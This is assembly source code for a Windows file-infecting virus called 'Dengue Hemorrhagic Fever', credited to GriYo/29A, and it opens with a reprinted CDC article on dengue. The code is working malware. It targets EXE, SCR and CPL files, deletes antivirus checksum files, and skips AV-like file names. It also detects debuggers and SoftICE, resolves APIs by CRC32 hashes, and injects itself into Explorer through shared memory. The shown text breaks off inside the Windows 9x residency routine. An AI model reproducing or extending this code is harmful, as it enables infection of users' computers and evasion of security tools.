;============================================================================
;
;	Dengue Hemorrhagic Fever
;
;	BioCoded by GriYo / 29A
;	griyo@bi0.net
;
;============================================================================
;
;	About the biomodel
;	------------------
;
;	Dengue Hemorrhagic Fever: The Emergence of a Global Health Problem
;
;	Dengue and dengue hemorrhagic fever (DHF) are caused by one of four
;closely related, but antigenically distinct, virus serotypes (DEN-1, DEN-2,
;DEN-3, and DEN-4), of the genus Flavivirus. Infection with one of these
;serotypes does not provide cross-protective immunity, so persons living in
;a dengue-endemic area can have four dengue infections during their
;lifetimes. Dengue is primarily an urban disease of the tropics, and the
;viruses that cause it are maintained in a cycle that involves humans and
;Aedes aegypti, a domestic, day-biting mosquito that prefers to feed on
;humans. Infection with a dengue virus serotype can produce a spectrum of
;clinical illness, ranging from a nonspecific viral syndrome to severe and
;fatal hemorrhagic disease. Important risk factors for DHF include the
;strain and serotype of the virus involved, as well as the age, immune
;status, and genetic predisposition of the patient.
;
;	The first reported epidemics of dengue fever occurred in 1779-1780
;in Asia, Africa, and North America; the near simultaneous occurrence of
;outbreaks on three continents indicates that these viruses and their
;mosquito vector have had a worldwide distribution in the tropics for more
;than 200 years. During most of this time, dengue fever was considered a
;benign, nonfatal disease of visitors to the tropics. Generally, there were
;long intervals (10-40 years) between major epidemics, mainly because the
;viruses and their mosquito vector could only be transported between
;population centers by sailing vessels.
;
;	A global pandemic of dengue begun in Southeast Asia after World
;War II and has intensified during the last 15 years. Epidemics caused by
;multiple serotypes (hyperendemicity) are more frequent, the geographic
;distribution of dengue viruses has expanded, and DHF has emerged in the
;Pacific region and the Americas. In Southeast Asia, epidemic DHF
;first appeared in the 1950s, but by 1975 it had become a leading cause of
;hospitalization and death among children in many countries. In the 1980s,
;DHF began a second expansion into Asia when Sri Lanka, India, and the
;Maldive Islands had their first major DHF epidemics; Pakistan first
;reported an epidemic of dengue fever in 1994. The recent epidemics in
;Sri Lanka and India were associated with multiple dengue virus serotypes,
;but DEN-3 was predominant and was genetically distinct from DEN-3 viruses
;previously isolated from infected persons in those countries.
;
;	After an absence of 35 years, epidemic dengue fever occurred in
;both Taiwan and the People's Republic of China in the 1980s. The People's
;Republic of China had a series of epidemics caused by all four serotypes,
;and its first major epidemic of DHF, caused by DEN-2, was reported on
;Hainan Island in 1985. Singapore also had a resurgence of dengue/DHF
;from 1990 to 1994 after a successful control program had prevented
;significant transmission for over 20 years. In other countries of Asia
;where DHF is endemic, the epidemics have become progressively larger in the
;last 15 years.
;
;	In the Pacific, dengue viruses were reintroduced in the early 1970s
;after an absence of more than 25 years. Epidemic activity caused by all
;four serotypes has intensified in recent years with major epidemics of DHF
;on several islands.
;
;	Despite poor surveillance for dengue in Africa, we know that
;epidemic dengue fever caused by all four serotypes has increased
;dramatically since 1980. Most activity has occurred in East Africa, and
;major epidemics were reported for the first time in the Seychelles (1977),
;Kenya (1982, DEN-2), Mozambique (1985, DEN-3), Djibouti (1991-92, DEN-2),
;Somalia (1982, 1993, DEN-2), and Saudi Arabia (1994, DEN-2) (CDC,
;unpublished data). Epidemic DHF has been reported in neither Africa nor the
;Middle East, but sporadic cases clinically compatible with DHF have been
;reported from Mozambique, Djibouti, and Saudi Arabia (CDC, unpublished
;data).
;
;	The emergence of dengue/DHF as a major public health problem has
;been most dramatic in the American region. In an effort to prevent urban
;yellow fever, which is also transmitted by Ae. aegypti, the Pan American
;Health Organization organized a campaign that eradicated Ae. aegypti from
;most Central and South American countries in the 1950s and 1960s. As a
;result, epidemic dengue occurred only sporadically in some Caribbean
;islands during this period. The Ae. aegypti eradication program, which was
;officially discontinued in the United States in 1970, gradually eroded
;elsewhere, and this species began to reinfest countries from which it had
;been eradicated. In 1995, the geographic distribution of Ae. aegypti was
;similar to its distribution before the eradication program.
;
;	In 1970, only DEN-2 virus was present in the Americas, although
;DEN-3 may have had a focal distribution in Colombia and Puerto Rico. In
;1977, DEN-1 was introduced and caused major epidemics throughout the
;region over a 16-year period. DEN-4 was introduced in 1981 and caused
;similar widespread epidemics. Also in 1981, a new strain of DEN-2 from
;Southeast Asia caused the first major DHF epidemic in the Americas (Cuba).
;This strain has spread rapidly throughout the region and has caused
;outbreaks of DHF in Venezuela, Colombia, Brazil, French Guiana, Suriname,
;and Puerto Rico. By 1995, 14 countries in the American region had reported
;confirmed DHF cases, and DHF is endemic in many of these countries.
;
;	DEN-3 virus recently reappeared in the Americas after an absence of
;16 years. This serotype was first detected in association with a 1994
;dengue/DHF epidemic in Nicaragua. Almost simultaneously, DEN-3 was
;confirmed in Panama and, in early 1995, in Costa Rica (CDC, unpublished
;data). In Nicaragua, considerable numbers of DHF were associated with the
;epidemic, which was apparently caused by DEN-3. In Panama and Costa Rica,
;the cases were classic dengue fever.
;
;	Viral envelope gene sequence data from the DEN-3 strains isolated
;from Panama and Nicaragua have shown that this new American DEN-3 virus
;strain was likely a recent introduction from Asia since it is genetically
;distinct from the DEN-3 strain found previously in the Americas, but is
;identical to the DEN-3 virus serotype that caused major DHF epidemics in
;Sri Lanka and India in the 1980s (R. Lanciotti; unpublished data). The new
;DEN-3 strain, and the susceptibility of the population in the American
;tropics to it, suggests that DEN-3 will spread rapidly throughout the
;region and likely will cause major epidemics of dengue/DHF in the near
;future.
;
;	In 1995, dengue is the most important mosquito-borne viral disease
;affecting humans; its global distribution is comparable to that of malaria,
;and an estimated 2.5 billion people are living in areas at risk for epidemic
;transmission. Each year, tens of millions of cases of dengue fever occur
;and, depending on the year, up to hundreds of thousands of cases of DHF. The
;case-fatality rate of DHF in most countries is about 5%: most fatal cases 
;are among children. 
;
;	There is a small, but significant, risk for dengue outbreaks in the 
;continental United States. Two competent mosquito vectors, Ae. aegypti and 
;Aedes albopictus, are present and, under certain circumstances, each could 
;transmit dengue viruses. This type of transmission has been detected twice 
;in the last 15 years in south Texas (1980 and 1986) and has been associated 
;with dengue epidemics in northern Mexico. Moreover, numerous viruses are 
;introduced annually by travelers returning from tropical areas where dengue 
;viruses are endemic. From 1977 to 1994, a total of 2,248 suspected cases of
;imported dengue were reported in the United States (CDC, unpublished data).
;Although some specimens collected were not adequate for laboratory 
;diagnosis, preliminary data indicate that 481 (21%) cases were confirmed as
;dengue (CDC, unpublished data). Many more cases probably go unreported each
;year because surveillance in the United States is passive and relies on 
;physicians to recognize the disease, inquire about the patient's travel 
;history, obtain proper diagnostic samples, and report the case. These data 
;underscore the fact that southern Texas and the southeastern United States,
;where Ae. aegypti is found, are at risk for dengue transmission and 
;sporadic outbreaks. 
;
;	The reasons for this dramatic global emergence of dengue/DHF as a 
;major public health problem are complex and not well understood. However,
;several important factors can be identified. First, effective mosquito 
;control is virtually nonexistent in most dengue-endemic countries. 
;Considerable emphasis for the past 20 years has been placed on 
;ultra-low-volume insecticide space sprays for adult mosquito control, a 
;relatively ineffective approach for controlling Ae. aegypti. Second, major 
;global demographic changes have occurred, the most important of which have
;been uncontrolled urbanization and concurrent population growth. These 
;demographic changes have resulted in substandard housing and inadequate 
;water, sewer, and waste management systems, all of which increase 
;Ae. aegypti population densities and facilitate transmission of 
;Ae. aegypti-borne disease. Third, increased travel by airplane provides 
;the ideal mechanism for transporting dengue viruses between population 
;centers of the tropics, resulting in a constant exchange of dengue viruses 
;and other pathogens. Lastly, in most countries the public health 
;infrastructure has deteriorated. Limited financial and human resources and 
;competing priorities have resulted in a "crisis mentality" with emphasis 
;on implementing so-called emergency control methods in response to 
;epidemics rather than on developing programs to prevent epidemic 
;transmission. This approach has been particularly detrimental to dengue 
;control because, in most countries, surveillance is very inadequate; the 
;system to detect increased transmission normally relies on reports by local
;physicians who often do not consider dengue in their diagnoses. As a result,
;an epidemic has often reached or passed the peak of transmission before it
;is detected.
;
;	No dengue vaccine is available. Recently, however, attenuated
;candidate vaccine viruses have been developed in Thailand. These vaccines
;are safe and immunogenic when given in various formulations, including a
;quadrivalent vaccine for all four dengue virus serotypes. Unfortunately,
;efficacy trials in human volunteers have yet to be initiated. Research is
;also being conducted to develop second-generation recombinant vaccine
;viruses; the Thailand attenuated viruses are used as a template. However,
;an effective dengue vaccine for public use will not be available for 5 to
;10 years.
;
;	Prospects for reversing the recent trend of increased epidemic
;activity and geographic expansion of dengue are not promising. New dengue
;virus strains and serotypes will likely continue to be introduced into many
;areas where the population densities of Ae. aegypti are at high levels. With
;no new mosquito control technology available, in recent years public health
;authorities have emphasized disease prevention and mosquito control through
;community efforts to reduce larval breeding sources. Although this approach
;will probably be effective in the long run, it is unlikely to impact disease
;transmission in the near future. We must, therefore, develop improved,
;proactive, laboratory-based surveillance systems that can provide early
;warning of an impending dengue epidemic. At the very least, surveillance
;results can alert the public to take action and physicians to diagnose and
;properly treat dengue/DHF cases.
;
;Duane J. Gubler and Gary G. Clark
;National Center for Infectious Diseases
;Centers for Disease Control and Prevention
;Fort Collins, Colorado, and San Juan, Puerto Rico, USA
;
;============================================================================

                .386P
                locals
                jumps
                .model flat,STDCALL

                include Win32api.inc
                include Useful.inc
                include Mz.inc
                include Pe.inc

		extrn GetModuleHandleA:NEAR
		extrn Sleep:NEAR

NUMBER_OF_POLY_LAYERS		equ 04h ; Max number of poly decryptors

;============================================================================
;Fake host used for virus 1st generation
;============================================================================

_TEXT           segment dword use32 public 'CODE'

		;============================================================
		;We need the CRC lookup table for the next steps
                ;============================================================

host_code:	xor ebp,ebp				
		call make_crc_tbl

		;============================================================
		;Save the CRC32 of 'KERNEL32.DLL' inside virus body
		;============================================================

		mov esi,offset g1_szKernel32
		call get_str_crc32
		mov dword ptr [CrcKernel32],edx

		;============================================================
		;Save the CRC32 of 'GetProcAddress' inside virus body	
		;============================================================

		mov esi,offset g1_szGetProcAddr
		call get_str_crc32
		mov dword ptr [CrcGetProcAddr],edx

		;============================================================
		;Save the CRC32 of infectable file extensions
		;============================================================

		mov esi,offset g1_szEXE
		call get_str_crc32
		mov dword ptr [CRC32_szEXE],edx

		mov esi,offset g1_szSCR
		call get_str_crc32
		mov dword ptr [CRC32_szSCR],edx

		mov esi,offset g1_szCPL
		call get_str_crc32
		mov dword ptr [CRC32_szCPL],edx

		;============================================================
		;Save the CRC32 of some AV files
		;============================================================

		mov ecx,NumberOfAV
		mov esi,offset g1_av_names
		mov edi,offset TblCRC32AV
		call save_crc_names

		;============================================================
		;Save the CRC32 of EXPLORER.EXE
		;============================================================

		mov esi,offset g1_szEXPLORER
		call get_str_crc32
		mov dword ptr [CRCszEXPLORER],edx

		;============================================================
		;Save the CRC32 of 'USER32.DLL'
		;============================================================

		mov esi,offset g1_szUSER32
		call get_str_crc32
		mov dword ptr [CRCszUSER32],edx

		;============================================================
		;Save the CRC32 of 'PSAPI.DLL'
		;============================================================

		mov esi,offset g1_szPSAPI
		call get_str_crc32
		mov dword ptr [CRCszPSAPI],edx

		;============================================================
		;Save the CRC32 of 'IMAGEHLP.DLL'
		;============================================================

		mov esi,offset g1_szIMGHLP
		call get_str_crc32
		mov dword ptr [CRCszIMGHLP],edx

		;============================================================
		;Save the CRC32 of 'SFC.DLL'
		;============================================================

		mov esi,offset g1_szSFC
		call get_str_crc32
		mov dword ptr [CRCszSFC],edx

		;============================================================
		;Get CRC's of needed API's and save them inside virus body
		;Lets start with KERNEL32 API names
		;============================================================

		mov ecx,NumK32Apis
		mov esi,offset namesK32Apis
		mov edi,offset CRC32K32Apis
		call save_crc_names

		;============================================================
                ;This are some special handled APIs
                ;============================================================

		mov ecx,00000001h
		mov esi,offset name_IsDebuggerPresent
		mov edi,offset CRC32_IsDebugPr
		call save_crc_names

		;============================================================
		;Get TOOLHELP APIs (Windows 9x only)
		;============================================================

		mov ecx,NumTOOLHELPApis
		mov esi,offset namesTOOLHELPApis
		mov edi,offset CRC32TOOLHELPApis
		call save_crc_names

		;============================================================
		;Get PSAPI.DLL APIs (Windows Nt & Windows 2000 only)
		;============================================================

		mov ecx,NumPSAPIApis
		mov esi,offset namesPSAPIApis
		mov edi,offset CRC32PSAPIApis
		call save_crc_names

		;============================================================
		;Get API used to compute image checksum
		;============================================================

		mov ecx,NumIMGHLPApis
		mov esi,offset namesIMGHLPApis
		mov edi,offset CRC32IMGHLPApis
		call save_crc_names

		;============================================================
		;Get API used to check for Windows2000 System File Protection
		;============================================================

		mov ecx,NumSFCApis
		mov esi,offset namesSFCApis
		mov edi,offset CRC32SFCApis
		call save_crc_names

		;============================================================
		;Get CRC32 of USER32 API names ( Ansi version )
		;============================================================

		mov ecx,NumUSER32Apis
		mov esi,offset namesUSER32Apisw9x
		mov edi,offset CRC32USER32Apisw9x
		call save_crc_names

		;============================================================
		;Get CRC32 of USER32 API names ( Wide version )
		;============================================================

		mov ecx,NumUSER32Apis
		mov esi,offset namesUSER32Apiswnt
		mov edi,offset CRC32USER32Apiswnt
		call save_crc_names

		;============================================================
		;Build the do-not-infect-file-by-name CRC32 table
		;============================================================

		mov ecx,avoid_num
		mov esi,offset g1_avoid_files
		mov edi,offset avoid_tbl
		call save_crc_names

		;============================================================
		;Get KERNEL32.DLL module handle
		;============================================================

		push offset g1_szKernel32
		call GetModuleHandleA
		or eax,eax
		jz out_1st_gen
		mov ebx,eax
		xor ebp,ebp

		db 05h dup (90h)

		call get1st_end

		db 05h dup (90h)

                ;============================================================
                ;Let the 1st generation host running
                ;============================================================

out_1st_gen:	push 0FFFFFFFFh
		call Sleep

		jmp out_1st_gen ;Never executed, but i dont want to remove it
				;anyway, this wont take part of the main
				;virus body...

                ;============================================================
                ;Ready to jump into main virus body !!!!
                ;============================================================

get1st_end:	push eax ; Space for ebx
		push eax ; Space for esi
		push eax ; Space for edi
		push eax ; Space for ebp

		xor ebp,ebp				
		jmp entry_1st_gen

                ;============================================================
                ;Routine that converts API names in CRC32 values
                ;============================================================

save_crc_names:	cld
get_g1_crc:	push ecx				
		lodsd
		push esi
		mov esi,eax
		call get_str_crc32
		mov eax,edx
		stosd
		pop esi
		pop ecx
		loop get_g1_crc
		ret

_TEXT           ends

;============================================================================
;Here comes the rest of the sections in virus 1st generation
;============================================================================

_DATA           segment dword use32 public 'DATA'

                ;============================================================
                ;Used to locate KERNEL32 base address on 1st generation
                ;============================================================

g1_szKernel32			db 'KERNEL32.DLL',00h
g1_szGetProcAddr		db 'GetProcAddress',00h

                ;============================================================
                ;Used to check if file extension is infectable
                ;============================================================

g1_szEXE			db '.EXE',00h
g1_szSCR			db '.SCR',00h
g1_szCPL			db '.CPL',00h

                ;============================================================
                ;This virus use CRC32 instead of DLL names !!!!
		;
		;LoadLibrary requires the DLL name as parameter... but
		;we can find the DLL name by browsing SYSTEM32 directory
		;for a file whose CRC32 matches a given one
                ;============================================================

g1_szEXPLORER			db 'EXPLORER.EXE',00h
g1_szUSER32			db 'USER32.DLL',00h
g1_szPSAPI                      db 'PSAPI.DLL',00h
g1_szIMGHLP                     db 'IMAGEHLP.DLL',00h
g1_szSFC                        db 'SFC.DLL',00h

                ;============================================================
                ;Do not infect files with this character combinations on 
                ;their names
                ;============================================================

g1_avoid_files			equ $

				dd offset g1_avoid_00
				dd offset g1_avoid_01
				dd offset g1_avoid_02
				dd offset g1_avoid_03
				dd offset g1_avoid_04
				dd offset g1_avoid_05
				dd offset g1_avoid_06
				dd offset g1_avoid_07
				dd offset g1_avoid_08
				dd offset g1_avoid_09
				dd offset g1_avoid_0A
				dd offset g1_avoid_0B
				dd offset g1_avoid_0C
				dd offset g1_avoid_0D
				dd offset g1_avoid_0E
				dd offset g1_avoid_0F
				dd offset g1_avoid_10
				dd offset g1_avoid_11
				dd offset g1_avoid_12
				dd offset g1_avoid_13
				dd offset g1_avoid_14
				dd offset g1_avoid_15
				dd offset g1_avoid_16
				dd offset g1_avoid_17
				dd offset g1_avoid_18

avoid_num			equ ($-g1_avoid_files)/04h

g1_avoid_00			db 'DR',00h
g1_avoid_01			db 'PA',00h
g1_avoid_02			db 'RO',00h
g1_avoid_03			db 'VI',00h
g1_avoid_04			db 'AV',00h
g1_avoid_05			db 'TO',00h
g1_avoid_06			db 'CA',00h
g1_avoid_07			db 'IN',00h
g1_avoid_08			db 'MS',00h
g1_avoid_09			db 'SR',00h
g1_avoid_0A			db 'SP',00h
g1_avoid_0B			db 'RP',00h
g1_avoid_0C			db 'PR',00h
g1_avoid_0D			db 'NO',00h
g1_avoid_0E			db 'CE',00h
g1_avoid_0F			db 'LE',00h
g1_avoid_10			db 'MO',00h
g1_avoid_11			db 'SM',00h
g1_avoid_12			db 'DD',00h
g1_avoid_13			db 'SO',00h
g1_avoid_14			db 'SQ',00h
g1_avoid_15			db 'EX',00h
g1_avoid_16			db 'IE',00h
g1_avoid_17			db 'CM',00h
g1_avoid_18			db 'CO',00h

                ;============================================================
		;Delete this AV files
                ;============================================================

g1_av_names			equ $

				dd offset g1_delete_00
				dd offset g1_delete_01
				dd offset g1_delete_02
				dd offset g1_delete_03
				dd offset g1_delete_04

NumberOfAV			equ ($-g1_av_names)/04h

g1_delete_00			db 'AVP.CRC',00h
g1_delete_01			db 'ANTI-VIR.DAT',00h
g1_delete_02			db 'CHKLIST.CPS',00h
g1_delete_03			db 'CHKLIST.MS',00h
g1_delete_04			db 'IVP.NTZ',00h

                ;============================================================
                ;KERNEL32.DLL API names
		;
		;Note that this tables and strings are not included into the
		;virus body after 1st generation. Only CRC32 values
                ;============================================================

namesK32Apis			equ $

				dd offset g1_CreateFileA
				dd offset g1_CreateFileMappingA
				dd offset g1_CreateProcessA
				dd offset g1_CreateThread
				dd offset g1_CloseHandle
				dd offset g1_DeleteFileA
				dd offset g1_ExitThread
				dd offset g1_FindClose
				dd offset g1_FindFirstFileA
				dd offset g1_FindNextFileA
				dd offset g1_FreeLibrary
				dd offset g1_GetComputerNameA
				dd offset g1_GetCurrentProcess
                                dd offset g1_GetDriveTypeA
				dd offset g1_GetFileAttributesA
				dd offset g1_GetLastError
				dd offset g1_GetLocalTime
                                dd offset g1_GetLogicalDriveStringsA
				dd offset g1_GetSystemDirectoryA
				dd offset g1_GetVersionEx
				dd offset g1_LoadLibraryA
				dd offset g1_MapViewOfFile
				dd offset g1_OpenFileMappingA
				dd offset g1_OpenProcess
				dd offset g1_ReadProcessMemory
				dd offset g1_SetEndOfFile
				dd offset g1_SetFileAttributesA
				dd offset g1_SetFilePointer
				dd offset g1_SetFileTime
				dd offset g1_Sleep
				dd offset g1_UnmapViewOfFile
				dd offset g1_WriteProcessMemory

g1_CreateFileA			db 'CreateFileA',00h
g1_CreateFileMappingA		db 'CreateFileMappingA',00h
g1_CreateProcessA		db 'CreateProcessA',00h
g1_CreateThread			db 'CreateThread',00h
g1_CloseHandle			db 'CloseHandle',00h
g1_DeleteFileA			db 'DeleteFileA',00h
g1_ExitThread			db 'ExitThread',00h
g1_FindClose			db 'FindClose',00h
g1_FindFirstFileA		db 'FindFirstFileA',00h
g1_FindNextFileA		db 'FindNextFileA',00h
g1_FreeLibrary			db 'FreeLibrary',00h
g1_GetComputerNameA		db 'GetComputerNameA',00h
g1_GetCurrentProcess		db 'GetCurrentProcess',00h
g1_GetDriveTypeA                db 'GetDriveTypeA',00h
g1_GetFileAttributesA		db 'GetFileAttributesA',00h
g1_GetLastError			db 'GetLastError',00h
g1_GetLocalTime			db 'GetLocalTime',00h
g1_GetLogicalDriveStringsA      db 'GetLogicalDriveStringsA',00h
g1_GetSystemDirectoryA		db 'GetSystemDirectoryA',00h
g1_LoadLibraryA			db 'LoadLibraryA',00h
g1_GetVersionEx			db 'GetVersionExA',00h
g1_MapViewOfFile		db 'MapViewOfFile',00h
g1_OpenFileMappingA		db 'OpenFileMappingA',00h
g1_OpenProcess			db 'OpenProcess',00h
g1_ReadProcessMemory		db 'ReadProcessMemory',00h
g1_SetEndOfFile			db 'SetEndOfFile',00h
g1_SetFileAttributesA		db 'SetFileAttributesA',00h
g1_SetFilePointer		db 'SetFilePointer',00h
g1_SetFileTime			db 'SetFileTime',00h
g1_Sleep			db 'Sleep',00h
g1_UnmapViewOfFile		db 'UnmapViewOfFile',00h
g1_WriteProcessMemory		db 'WriteProcessMemory',00h

                ;============================================================
                ;Special KERNEL32 APIs
                ;============================================================

name_IsDebuggerPresent          dd offset g1_IsDebuggerPresent

g1_IsDebuggerPresent            db 'IsDebuggerPresent',00h

                ;============================================================
                ;ToolHelp APIs
                ;============================================================

namesTOOLHELPApis               equ $

                                dd offset g1_CreateToolhelp32Snapshot
                                dd offset g1_Process32First
                                dd offset g1_Process32Next
                                dd offset g1_Module32First
                                dd offset g1_Module32Next

g1_CreateToolhelp32Snapshot     db 'CreateToolhelp32Snapshot',00h
g1_Process32First               db 'Process32First',00h
g1_Process32Next                db 'Process32Next',00h
g1_Module32First                db 'Module32First',00h
g1_Module32Next                 db 'Module32Next',00h

                ;============================================================
                ;PSAPI.DLL API names
                ;============================================================

namesPSAPIApis			equ $

				dd offset g1_EnumProcessModules
				dd offset g1_EnumProcesses
				dd offset g1_GetModuleBaseNameA
				dd offset g1_GetModuleInformation

g1_EnumProcessModules		db 'EnumProcessModules',00h
g1_EnumProcesses		db 'EnumProcesses',00h
g1_GetModuleBaseNameA		db 'GetModuleBaseNameA',00h
g1_GetModuleInformation		db 'GetModuleInformation',00h

                ;============================================================
                ;SFC.DLL API names
                ;============================================================

namesSFCApis			equ $

				dd offset g1_SfcIsFileProtected

g1_SfcIsFileProtected		db 'SfcIsFileProtected',00h

                ;============================================================
                ;IMAGEHLP.DLL API names
                ;============================================================

namesIMGHLPApis			equ $

				dd offset g1_CheckSumMappedFile

g1_CheckSumMappedFile		db 'CheckSumMappedFile',00h

                ;============================================================
                ;USER32.DLL API names (Ansi version)
                ;============================================================

namesUSER32Apisw9x		equ $

				dd offset g1w9x_DefWindowProc

g1w9x_DefWindowProc		db 'DefWindowProcA',00h

                ;============================================================
                ;USER32.DLL API names (Wide version)
                ;============================================================

namesUSER32Apiswnt		equ $

				dd offset g1wnt_DefWindowProc

g1wnt_DefWindowProc		db 'DefWindowProcW',00h

_DATA           ends

_BSS            segment dword use32 public 'BSS'

_BSS            ends

;============================================================================
;Viral section
;
;You have to understand that all the above-mentioned is not part of the virus
;This means that the text strings and other information previous to this 
;point will be discarded
;============================================================================

virseg          segment dword use32 public 'Dengue'

		;============================================================
		;Get delta offset in ebp
		;============================================================
								
viro_sys:	call HostDelta
HostDelta:	pop ebp
		sub ebp,offset HostDelta

		;============================================================
		;Create CRC32 lookup table... This virus uses CRC32 in lots
		;of places along its code... Precalculated tables helps to
		;really speed-up virus activitie
		;============================================================

		call make_crc_tbl

		;============================================================
		;Check CRC32 of main virus body
		;
		; esi -> Ptr to buffer
		; ecx -> Buffer size
		;============================================================

		mov ecx,SizeOfProtect
		lea esi,dword ptr [ebp+CRC_protected]
		call get_crc32

		;============================================================
		;Checksum matches?
		;============================================================

		db 0B8h			; mov eax,imm
ViralChecksum	dd 00000000h

		cmp eax,edx
		jne critical_error

CRC_protected	equ $

                ;============================================================
		;Scan system memory looking for KERNEL32.DLL
                ;============================================================

KernelScanning: pushad
fK32_try_01:	mov eax,080000101h
                call IGetNtBaseAddr
                jecxz fK32_try_02
                jmp short kernel_found
fK32_try_02:    mov eax,0C0000101h
                call IGetNtBaseAddr
                jecxz fK32_try_03
                jmp short kernel_found
fK32_try_03:    xor eax,eax
                call IGetNtBaseAddr
kernel_found:   jecxz critical_error
		mov dword ptr [esp.Pushad_ebx],ecx
                popad

                ;============================================================
                ;This is the entry-point for 1st generation
		;Now EBX points to KERNEL32.DLL base address
                ;============================================================

entry_1st_gen:	mov dword ptr [ebp+hKERNEL32],ebx

                ;============================================================
		;Search for GetProcAddress entry-point
                ;============================================================

		call GetGetProcAddr
		jecxz critical_error
		mov dword ptr [ebp+a_GetProcAddress],ecx

                ;============================================================
		;Get KERNEL32 API addresses
                ;============================================================

		mov ecx,NumK32Apis				
		lea esi,dword ptr [ebp+CRC32K32Apis]
		lea edi,dword ptr [ebp+epK32Apis]
		call get_APIs
		jecxz RestoreHost

                ;============================================================
		;Everything have to work, but if something goes wrong this
		;will halt the process
                ;============================================================

critical_error:	jmp critical_error

                ;============================================================
		;Restore host code
		;
		;Make the return address point to the instruction which
		;made the call
		;============================================================

API_PUSH_SIZE	equ 00000004h*00000004h

RestoreHost:	lea esi,dword ptr [esp+API_PUSH_SIZE]
		sub dword ptr [esi],00000005h
		cld
		lodsd

		lea esi,dword ptr [ebp+EP_Bytes]
		push esi
                push 00000005h
		call get_org_code

org_code	db 05h dup (90h)

get_org_code:	push eax
		call dword ptr [ebp+a_GetCurrentProcess]
                push eax
                call dword ptr [ebp+a_WriteProcessMemory]
		or eax,eax
		jz critical_error

		cld
		lodsd
		cmp eax,00000005h
		jne critical_error

                ;============================================================
		;Try to locate IsDebuggerPresent API
                ;============================================================

		mov ecx,00000001h
		lea esi,dword ptr [ebp+CRC32_IsDebugPr]
		lea edi,dword ptr [ebp+a_IsDebuggerPresent]
		call get_APIs
		jecxz DetectDebug

		jmp short SI_LookUp

                ;============================================================
		;Check if the current process is running in the context of a
		;debugger
                ;============================================================

DetectDebug:	call dword ptr [ebp+a_IsDebuggerPresent]
		or eax,eax
		jnz GoBack2Host

                ;============================================================
		;SoftIce lookup
		;
		;Code based on the article "Win32 Anti-Debugging tricks" by
		;Billy Belcebu/iKX ( published on XINE#4 )
                ;============================================================

SI_LookUp:	mov esi,dword ptr [ebp+a_CreateFileA]

		push ecx
		push FILE_ATTRIBUTE_READONLY
		push OPEN_EXISTING
		push ecx
		push FILE_SHARE_READ
		push GENERIC_READ
		call Get_szSIw9x

		db '\\.\SICE',00h

Get_szSIw9x:	call esi
		cmp eax,INVALID_HANDLE_VALUE
		jne SI_Found
				
		push 00000000h
		push FILE_ATTRIBUTE_READONLY
		push OPEN_EXISTING
		push 00000000h
		push FILE_SHARE_READ
		push GENERIC_READ
		call Get_szSIwNT

		db '\\.\NTICE',00h

Get_szSIwNT:	call esi
		cmp eax,INVALID_HANDLE_VALUE
		je SI_NotFound

SI_Found:	push eax
		call dword ptr [ebp+a_CloseHandle]
		jmp GoBack2Host	

                ;============================================================		
		;Get a object name based on current hostname
                ;============================================================

SI_NotFound:	lea edi,dword ptr [ebp+SizeOfComputerName]
		push edi
		mov eax,00000020h
		cld
		stosd
		push edi
		call dword ptr [ebp+a_GetComputerNameA]
		or eax,eax
		jz GoBack2Host

		mov esi,edi
		call get_str_crc32

		movzx ecx,byte ptr [edi]
		and ecx,00000003h		; Number of characters
		inc ecx

		lea edi,dword ptr [ebp+szObjectName]

LoopBuildNick:	mov al,dl
		and al,0Fh
		add al,'a'			; Get character
		stosb
		shr edx,04h		
		loop LoopBuildNick

		mov eax,00003233h
		stosd
		mov al,cl
		stosb

                ;============================================================		
		;Allocate shared memory
		;
		;MSDN says:
		;
		;"A shared file-mapping object will not be destroyed until
		;all processes that use it close their handles to it by using
		;the CloseHandle function."
		;
		;So the idea is to use CreateFileMapping and MapViewOfFile, 
		;instead of VirtualAlloc... Then read open this
		;file-mapping from a small piece of code injected into
		;EXPLORER.EXE
                ;============================================================

		lea eax,dword ptr [ebp+szObjectName]
		push eax
		push alloc_size
		push 00000000h
		push PAGE_READWRITE
		push 00000000h
		push 0FFFFFFFFh
		call dword ptr [ebp+a_CreateFileMappingA]
		or eax,eax
		jz GoBack2Host

		mov edi,eax

		call dword ptr [ebp+a_GetLastError]		
		cmp eax,000000B7h		    ; ERROR_ALREADY_EXISTS
		jne ResCheckOk
		
		push edi
		call dword ptr [ebp+a_CloseHandle]

		jmp GoBack2Host

ResCheckOk:	push 00000000h
		push 00000000h
		push 00000000h
		push FILE_MAP_WRITE
		push edi
		call dword ptr [ebp+a_MapViewOfFile]
		or eax,eax
		jz GoBack2Host

                ;============================================================
		;Copy virus to allocated memory block
                ;============================================================

		lea esi,dword ptr [ebp+viro_sys]
                mov edi,eax
                mov ecx,size_virtual
                cld
                rep movsb

                ;============================================================
		;Continue execution on allocated memory!!!!!!!!!
		;
		;This means we are able to use extended buffers...
                ;============================================================
		
		add eax,offset HostVirMem - offset viro_sys
		push eax
		ret

;============================================================================
;Code executed into allocated memory... Extended buffers are available now
;============================================================================

HostVirMem:	call MemDelta
MemDelta:	pop ebp
		sub ebp,offset MemDelta

                ;============================================================
		;The virus needs to locate SYSTEM directory in order to load
		;DLL's by using CRC32 instead of their names
                ;============================================================

		push MAX_PATH
		lea edi,dword ptr [ebp+szSYSTEMDIR]
		push edi
		call dword ptr [ebp+a_GetSystemDirectoryA]
		or eax,eax
		jz GoBack2Host

		;edi -> Points 1byte above the null terminator

		add edi,eax
		cld
		mov eax,'D.*\'	; Add '*.DLL'
		stosd
		mov eax,00004C4Ch
		stosd

                ;============================================================
		;Get OS version
                ;============================================================

                lea esi,dword ptr [ebp+system_version]
		push esi
		mov dword ptr [esi],00000094h
		call dword ptr [ebp+a_GetVersionEx]
		or eax,eax
		jz FreeUSER32

		add esi,00000010h		
		cld
		lodsd

		cmp eax,VER_PLATFORM_WIN32_NT
		je MemInfectWinNt

		cmp eax,VER_PLATFORM_WIN32_WINDOWS
		je MemInfectWin9x

                ;============================================================
                ;Free USER32
                ;============================================================

FreeUSER32:	push dword ptr [ebp+hUSER32]
		call dword ptr [ebp+a_FreeLibrary]

                ;============================================================
		;Back to host
                ;============================================================

TblDoPolyPops	equ $

GoBack2Host:	pop eax
		pop eax
		pop eax
		pop eax

		ret	
        	
;============================================================================
;Residency routines for Windows 9x
;============================================================================

		;============================================================
		;Get hands on USER32.DLL
                ;============================================================

MemInfectWin9x:	mov eax,dword ptr [ebp+CRCszUSER32]
		mov ecx,NumUSER32Apis
		lea esi,dword ptr [ebp+CRC32USER32Apisw9x]
		lea edi,dword ptr [ebp+epUSER32Apis]
		call VirLoadLib
		mov dword ptr [ebp+hUSER32],eax
		or eax,eax
		jz GoBack2Host

                ;============================================================
